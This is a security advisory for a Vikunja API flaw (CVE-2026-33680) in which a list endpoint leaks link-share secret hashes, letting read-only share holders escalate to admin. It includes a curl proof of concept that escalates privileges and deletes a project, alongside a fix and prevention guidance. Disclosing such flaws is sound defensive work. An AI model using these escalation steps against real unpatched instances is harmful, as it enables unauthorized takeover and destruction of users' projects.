GHSA-8hp8-9fhr-pfm9 CVE-2026-33680 GO-2026-4848
Vikjuna: Link Share Hash Disclosure via ReadAll Endpoint Enables Permission Escalation
- Severity
- 7.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.40%
- Chance of exploitation in the next 30 days. Higher than 34.82% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-285 Improper Authorization
- Fix
2.2.2- Upgrade code.vikunja.io/api to this version or later
Description
Summary
The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.
Details
The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.
LinkSharing.CanRead() correctly blocks link share users (pkg/models/link_sharing_permissions.go:25-29):
func (share *LinkSharing) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {
if _, is := a.(*LinkSharing); is {
return false, 0, nil // Blocks link share users
}
// ...
}
ReadOneWeb calls CanRead() before returning data (pkg/web/handler/read_one.go:64):
canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth)
if !canRead {
return echo.NewHTTPError(http.StatusForbidden, ...)
}
ReadAllWeb does NOT call CanRead() (pkg/web/handler/read_all.go:106):
// Directly calls ReadAll without permission check
result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)
LinkSharing.ReadAll() only checks project-level read access (pkg/models/link_sharing.go:228-236):
func (share *LinkSharing) ReadAll(s *xorm.Session, a web.Auth, ...) (...) {
project := &Project{ID: share.ProjectID}
can, _, err := project.CanRead(s, a) // Link share users pass this!
if !can {
return nil, 0, 0, ErrGenericForbidden{}
}
// Returns all shares with hashes...
Project.CanRead() allows link share users (pkg/models/project_permissions.go:105-108):
shareAuth, ok := a.(*LinkSharing)
if ok {
return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ...
}
The Hash field is exposed in JSON serialization (pkg/models/link_sharing.go:50):
Hash string `xorm:"varchar(40) not null unique" json:"hash" param:"hash"`
While the Password field is cleared at line 276, the Hash — which is the secret token used to authenticate — is returned in full.
PoC
Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).
Step 1: Authenticate with a read-only link share
# Authenticate with a read-only link share hash
curl -s -X POST http://localhost:3456/api/v1/shares/READ_ONLY_HASH/auth \
| jq '.token'
# Returns: JWT token with permission=0 (read)
Step 2: List all link shares for the project (hash disclosure)
# Use the read-only JWT to list ALL shares including their hashes
curl -s -H "Authorization: Bearer <read-only-jwt>" \
http://localhost:3456/api/v1/projects/PROJECT_ID/shares \
| jq '.[].hash, .[].permission'
# Returns ALL shares with their hashes and permission levels:
# "READ_ONLY_HASH" permission: 0
# "ADMIN_HASH" permission: 2 <-- leaked!
Step 3: Escalate to admin using the leaked hash
# Authenticate with the admin link share hash
curl -s -X POST http://localhost:3456/api/v1/shares/ADMIN_HASH/auth \
| jq '.token'
# Returns: JWT token with permission=2 (admin)
Step 4: Exercise admin privileges
# Delete the project (admin-only operation)
curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \
http://localhost:3456/api/v1/projects/PROJECT_ID
# Success — full admin access achieved from a read-only share
Impact
- Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project
- Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens
- No account required: Link shares are designed for unauthenticated access — the attacker only needs a link share URL that was shared publicly or forwarded to them
- Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing
- Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password
Recommended Fix
Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():
// In pkg/models/link_sharing.go, at the start of ReadAll():
func (share *LinkSharing) ReadAll(s *xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) {
// Don't allow link share users to list link shares
if _, is := a.(*LinkSharing); is {
return nil, 0, 0, ErrGenericForbidden{}
}
project := &Project{ID: share.ProjectID}
// ... rest of method unchanged
Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | < 2.2.2 |
2.2.2 |
| code.vikunja.io/api | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.2.2
- go
go get code.vikunja.io/api@v2.2.2 && go mod tidy
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-285: Improper Authorization
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m687-p538-r5hp Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted | Medium | Also affects code.vikunja.io/api |
| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor